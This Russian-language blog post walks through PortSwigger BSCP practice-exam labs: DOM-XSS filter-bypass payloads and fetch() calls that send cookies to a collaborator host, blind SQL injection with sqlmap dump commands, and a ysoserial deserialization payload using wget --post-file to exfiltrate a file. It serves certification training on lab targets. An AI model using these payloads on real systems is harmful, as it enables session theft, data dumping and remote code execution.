Привет, Хабр! Меня зовут Никита, я пентестер, специализируюсь на веб-тестировании. Наверняка многие из вас задумывались о подтверждении своей экспертизы с помощью некоторых сертификаций. Сегодня хочу поговорить о популярной сертификации от академии PortSwigger — BSCP, посвященной тестированию веб-приложений. Прежде чем приступить к изучению материалов для подготовки к BSCP, я уже имел хорошее представление об основных веб-уязвимостях из списка OWASP TOP-10. Также я знал, как эксплуатировать базовые уязвимости, такие как SQL-injection, XSS, Server-Side Template Injection и многие другие. Но на одном из этапов я задался вопросом: как всё-таки к нему эффективно подготовиться?
В этой статье я поделюсь лайфхаками по подготовке к сертификации, покажу, как может помочь встроенный в Burp Suite сканер уязвимостей, и подробно разберу каждый из этапов самого экзамена.
Итак, поехали!
Начнем со списка советов, которые могут помочь при подготовке к сдаче экзамена.
1. Важно сосредоточить внимание на каждой новой функциональности на каждом этапе. Одинаковый интерфейс приложений в лабораторных и на экзамене позволяет быстро определить дополнительные возможности или отличия в функциях на различных этапах. Например, при получении доступа к учетной записи может появиться доступ к новому поиску по сайту.
2. Сканирование с помощью Burp Suite помогает при поиске точек вхождения в лабораторные. Также дополнительно можно ознакомиться с руководством по сканированию на сайте PortSwigger.
3. Многие вещи на экзамене и в лабораторных пересекаются, поэтому стоит обращать внимание на поиск документации и решений лабораторных PortSwigger. Также, конечно, могут встретиться и темы, которые не поднимались при изучении бесплатного материала.
4. Не стоит тратить много времени на тупиковый вектор и заострять внимание на одной функциональности, так как время на экзамене ограничено.
5. Необходимо обращать особое внимание на уязвимости, которые могут возникнуть на каждом этапе. Список уязвимостей, характерных для каждого этапа, будет показан далее.
6. В инструкциях к экзамену есть два словаря для подбора учетных данных пользователя — эти словари необходимо подготовить заранее. Так как данная уязвимость может встретиться в экзамене, это поможет сохранить время и нервы.
7. Решить достаточное количество MysteryLabs для формирования подхода к поиску вектора атаки.
8. Обязательно сдать рекомендуемые лабораторные и пробный экзамен.
Перейдем к формату экзамена
Сам экзамен длится 4 часа и состоит из двух уязвимых машин, которые содержат по три уязвимости и всегда имеют одни и те же цели:
1. Получение доступа к учетной записи пользователя с низким уровнем привилегий.
2. Повышение привилегий до уровня администратора.
3. Чтение файла /home/carlos/secret.
Уязвимости, которые могут встретиться на каждом этапе, выглядят примерно так:
Тестовый экзамен
Тестовый экзамен, так же как и реальный, состоит из двух уязвимых приложений, в которых существует шесть уязвимостей. Начнем с решения первой лабораторной машины.
Machine1
Этап 1. Получение доступа к учетной записи пользователя с низким уровнем привилегий
Для более быстрого поиска уязвимости можно воспользоваться встроенным в Burp Active Scan.
Расширение ActiveScan++ добавляет возможности активного и пассивного сканирования Burp Suite. Оно разработано для добавления минимальной нагрузки на сеть и выявления поведения приложения, которое может помочь при поиске уязвимостей:
1. Возможные атаки на заголовок хоста (уязвимости сброса пароля, загрязнение кэша, DNS-переходы).
2. Client-Side уязвимости.
3. Обработка ввода XML.
4. Подозрительное преобразование ввода (например, 7*7 => '49', \x41\x41 => 'AA').
Identificate. Active Scan
При входе в приложение мы видим обычный интерфейс лабораторных PortSwigger:
В приложении существует функциональность поиска по сайту, выполняем запрос и отправляем его на сканирование:
Сканер достаточно быстро обнаруживает уязвимость, и в данном случае мы сталкиваемся с DOM-XSS:
XSS-уязвимости на основе DOM обычно возникают, когда JavaScript получает данные из контролируемого злоумышленником источника, например, URL, и передает их в источник, поддерживающий динамическое выполнение кода, например, eval() или innerHTML. Это позволяет злоумышленникам выполнять вредоносный JavaScript-код, который, как правило, позволяет им захватывать учетные записи других пользователей.
Таким образом, зная уязвимое место приложения и обнаруженную уязвимость, для начала подбираем полезную нагрузку для вывода данных на страницу в браузере:
"-prompt(1)-" или "-alert(1)-"
Дальше нам необходимо попробовать получить свой сессионный идентификатор, и при попытке это сделать с помощью обычного alert(document.cookie) наше действие попадает под фильтрацию и возвращает ответ «Potentially dangerous search term»:
Для того чтобы обойти ограничение, нам понадобится вспомнить, что такое глобальные переменные JavaScript.
Глобальная переменная — это переменная, определенная в контексте глобальной области видимости. Это означает, что к ней можно обращаться из любой другой области видимости, то есть глобальная переменная доступна в любой части кода. В JavaScript она представляет собой свойство глобального объекта.
WAF предотвращает опасные фильтры и теги. Обойти фильтр WAF можно с помощью глобальных переменных JavaScript:
"-alert(window["document"]["cookie"])-"
"-window["alert"](window["document"]["cookie"])-"
"-self["alert"](self["document"]["cookie"])-"
Необходимо подобрать полезную нагрузку для того, чтобы украсть сессионный идентификатор обычного пользователя. Так как валидация входных данных не позволяет использовать document.cookie, ее можно обойти, используя полезную нагрузку:
"-alert(window["document"]["cookie"])-"
Для последующей эксплуатации потребуется подобрать конструкцию, которая отправит данные о сессии нам на collaborator:
fetch(`https://COLLAB/?xss=` + window["document"]["cookie"])
После этого необходимо закодировать нашу полезную нагрузку с использованием Base64 encoded, что позволит нам украсть сессионный идентификатор пользователя:
Воспользуемся конструкцией eval(atob()) для обхода фильтрации и получения сессионного идентификатора, а также полезной нагрузкой, чтобы получить собственный сессионный идентификатор.
Но для начала разберемся, как это работает:
- Метод eval() выполняет команду из аргумента.
- Методы btoa() и atob() используются для кодирования и декодирования строк в формате base64.
Если метод eval() заблокирован, то можно использовать альтернативы:
- setTimeout("code")
- setInterval("code)
- Function("code")()
"-eval(atob("ZmV0Y2goYGh0dHBzOi8vY29sbGFib3JhdG9yLz94c3M9YCArIHdpbmRvd1siZG9jdW1lbnQiXVsiY29va2llIl0p"))-"
Данная полезная нагрузка работает корректно, и мы можем получить ответ на свой сервер. Для последующей эксплуатации копируем ссылку, содержащую нашу полезную нагрузку, и отправляем пользователю:
В итоге мы получили сессионный идентификатор, который можно использовать для последующей эксплуатации приложения:
Воспользуемся CookieManager, расширением для Firefox, и изменим свой сессионный идентификатор на полученный:
Благодаря данной уязвимости мы получили доступ к пользователю carlos. Можно идти дальше.
Этап 2. Повышение привилегий до уровня администратора
Воспользуемся советом из начала статьи и обратим внимание на новую функциональность, доступную от имени обычного пользователя. В данном случае появилась возможность воспользоваться Advanced search:
Снова используем ActiveScan, и он находит уязвимость в параметрах данного поиска:
SQL-Injection — это процесс внедрения вредоносных запросов на языке SQL во входные данные, используемые веб-приложением для взаимодействия с базой данных. В результате можно получить доступ к конфиденциальным данным.
При добавлении «кавычки» в данный параметр на сайте отображается ошибка, на основании которой мы можем сделать вывод о наличии SQL-запроса и потенциальном возникновении SQL-инъекции в данном месте приложения:
Полезная нагрузка, позволяющая эксплуатировать данную уязвимость, выглядит так:
(case when (ASCII(substring(version(),1,1))=103) then author else title end);
Данная полезная нагрузка сравнивает значение первого элемента слова в базе данных с таблицей ASCII. Приложение выполняет сортировку постов в другом порядке при корректной обработке запроса.
Прочитать значение version() можно с помощью Burp Intruder. Указываем в нём две точки для перебора и выбираем атаку Cluster bomb:
Так как sqli возникает при сортировке постов на странице, воспользуемся Grep Extract, расположенным в настройках Intruder. Указываем место на странице, которое меняется при выполнении запроса:
После окончания атаки в ответах от сервера можно заметить разницу в положении постов. Таким образом, можно собрать значение version() и перевести его из ASCII в читабельный вид, чтобы узнать версию используемой базы данных:
Для постэксплуатации буду использовать инструмент sqlmap.
Sqlmap — это инструмент с открытым исходным кодом, предназначенный для автоматизации тестирования на проникновение. Он специализируется на обнаружении и использовании уязвимостей SQL-инъекции, а также взломе серверов баз данных. Sqlmap включает в себя мощный механизм обнаружения уязвимостей и располагает разнообразными функциями для тестирования на проникновение. Этот инструмент позволяет решать задачи, от сбора информации о базах данных до выполнения команд в операционной системе через внеполосные подключения.
Команда для идентификации уязвимости:
sqlmap 'https://0a3300f10317f23b8064f3cd00e40013.web-security-
academy.net/advanced_search?SearchTerm=1&organize_by=1&blogArtist=' --
headers='Cookie:session=ZPXkkGX9QbDGcJoYlNpfqcobNfnkUCUL' -p 'organize_by' -dbms
postgresql --technique E --level 5
Для получения пароля администратора добавляем к основной команде несколько флагов для sqlmap:
sqlmap 'https://0a3300f10317f23b8064f3cd00e40013.web-security-
academy.net/advanced_search?SearchTerm=1&organize_by=1&blogArtist=' --
headers='Cookie:session=ZPXkkGX9QbDGcJoYlNpfqcobNfnkUCUL' -p 'organize_by' -batch
-D public -T users –-dump
В итоге мы получаем учетные данные администратора и можем переходить к поиску третьей уязвимости данного приложения.
Этап 3. Чтение файла /home/carlos/secret
На данном этапе я воспользовался еще одним советом — не зацикливаться и обращать внимание на всё новое, что появляется в приложении. В данном случае единственное, что обновилось в приложении, — это сериализованный объект в файлах cookie на теперь доступной странице Admin Panel.
ActiveScan в это время подтверждает наличие уязвимости:
Сериализация представляет собой процесс преобразования структуры данных в последовательность байтов. Противоположной операцией к сериализации является десериализация, которая заключается в восстановлении структуры данных из этой последовательности байтов.
Для эксплуатации данной уязвимости советую использовать Java Deserialization Scanner:
Java Deserialization Scanner — это расширение Burp Suite, которое дает возможность обнаруживать уязвимости Java-десериализации. Оно добавляет проверки как в активный, так и в пассивный сканер, а также может быть использовано в ручном режиме.
Это расширение позволяет обнаружить и использовать уязвимости Java-десериализации с различными кодировками (Raw, Base64, Ascii Hex, GZIP, Base64 GZIP).
Нюанс по работе Java Deserialization Scanner: для корректной работы данного расширения вам необходимо установить jdk8.
Также вам понадобится установить Ysoserial — инструмент, который позволяет генерировать полезные нагрузки, эксплуатирующие небезопасную десериализацию объектов Java.
Используем следующую полезную нагрузку в Java Deserialization Scanner для эксплуатации команды ysoserial в Java:
CommonsCollections6 'wget http://Collaborator.net --post-file=/home/carlos/secret'
Это позволит получить удаленное выполнение кода (RCE) при десериализации нагрузки на целевой системе.
Используем вкладку Exploiting, на которой указываем место нашего сериализованного объекта, команду для чтения файла и выставляем нужные кодировки:
Получаем флаг на collaborator:
Machine2
Этап 1. Получение доступа к учетной записи пользователя с низким уровнем привилегий
Во второй лабораторной также первым делом проверяем функциональность поиска с помощью встроенного сканера.
Identificate. Active Scan.
Отправляем в ActiveScan запрос для использования поиска по странице, и он находит XSS:
Для того чтобы обойти ограничения, воспользуемся полезной нагрузкой:
\\"-alert`1`}//
Для кражи сессионного идентификатора необходимо решить проблему с подбором полезной нагрузки, так как в данном случае блокируется вхождение символов ().
Полезная нагрузка, которая помогает распечатать cookie:
\\"-prompt`${document.cookie}`}//
Но с ней мне не удалось подобрать возможность захвата сессии. Изучив возможные обходы фильтрации, я подобрал полезную нагрузку, позволяющую обойти фильтрацию скобок:
\\"-setTimeout`alert\x28document.cookie\x29`}//
Захват сеанса можно осуществить с помощью полезной нагрузки на первой уязвимой машине, однако необходимо исправить вхождения скобок:
\\"-setTimeout`fetch\x28'https://collaborator/jsonc='+document.cookie\x29`}//
В итоге у нас получается обойти фильтрацию. Добавляем полезную нагрузку в ссылке на exploit-server и получаем сессионный идентификатор пользователя в приложении:
Меняем свой сессионный идентификатор на полученный с помощью CookieManager, как в первой лабораторной, и переходим к следующему этапу.
Этап 2. Повышение привилегий до уровня администратора
Здесь нас снова встречает функциональность расширенного поиска:
Воспользуемся сканером для поиска уязвимости и узнаем, что здесь снова SQL Injection:
На этот раз необходимо обойти еще и WAF. Попробуем сразу перейти к эксплуатации с помощью sqlmap:
sqlmap 'https://0ad6004b0366230683962d2b00c10004.web-security-
academy.net/filtered_search?find=qweqwe&organize=5&order=&BlogArtist=' --
headers='Cookie:session=Il6QXQ1lvrgDF6w6Pl2wg6FuteDaRmXP' --dbms postgresql -p
'order' --level 5 --flush-session --random-agent --technique E
Постэксплуатация данной уязвимости с помощью sqlmap не вызывает трудностей, поэтому получить учетные данные можно так же, как и в первой машине:
Этап 3. Чтение файла /home/carlos/secret
Здесь встречается такая же уязвимость, связанная с Java Deserialization. Этапы эксплуатации уже были продемонстрированы, но здесь я попробую подробнее рассказать про Java Deserialization Scanner.
Данный плагин включает в себя три отдельных компонента:
1. Интеграция с активным и пассивным сканером Burp Suite.
2. Ручной тестер для обнаружения уязвимостей десериализации Java в пользовательских точках вставки.
3. Инструмент Ysoserial, который использует уязвимости десериализации Java [frohoff ysoserial].
Такую уязвимость также можно выявить с помощью функционала ActiveScan.
В сканере предусмотрены полезные нагрузки двух типов:
1. Полезные нагрузки, которые выполняют синхронную функцию sleep, чтобы проверить уязвимость на основе времени ответа от сервера.
2. Полезные нагрузки, которые разрешают DNS, чтобы проверить уязвимость с помощью Burp Suite Collaborator, интегрированного в Burp Suite.
Эксплойт генерируется с помощью инструмента ysoserial, который создает необходимые полезные нагрузки. Каждый CommonsCollection имеет свою вариацию эксплойта.
Для поиска точки входа и определения уязвимости Java я также использовал ActiveScan:
Нам нужно идентифицировать и определить, как конкретно работает уязвимость и какая полезная нагрузка нужна — это можно сделать с помощью встроенного в расширение сканера. В нашем случае уязвимость связана с DNS (JRE only):
Эксплуатируем уязвимость таким же образом, как и ранее, и получаем финальный флаг:
На этом наш экзамен окончен.
Финал
Примерно так сдается экзамен. Буду рад, если мой опыт поможет вам успешно пройти сертификацию :)
Никита Чистяков
Консультант по информационной безопасности, «Инфосистемы Джет»
Delyura
Что значит тестовый экзамен? Он обязателен перед самим экзаменом?
На самом экзамене можно пользоваться сканерами бурпа и sqlmap? или все ручками?
wr3dmast3r Автор
Тестовый экзамен доступен каждому на PortSwigger. Система не запрещает перейти к сдаче сертификации без прохождения тестового экзамена, но это отличный способ проверить насколько ты готов к сдаче сертификации. Сканерами пользоваться можно, и в некоторых ситуациях лучше использовать именно автоматизированные средства тестирования, так как время ограничено. Но в любом случае важно понимать контекст встречающихся уязвимостей, и уметь раскручивать всё вручную, сканеры могут лишь ускорить процесс эксплуатации, но не заменят навык поиска уязвимостей.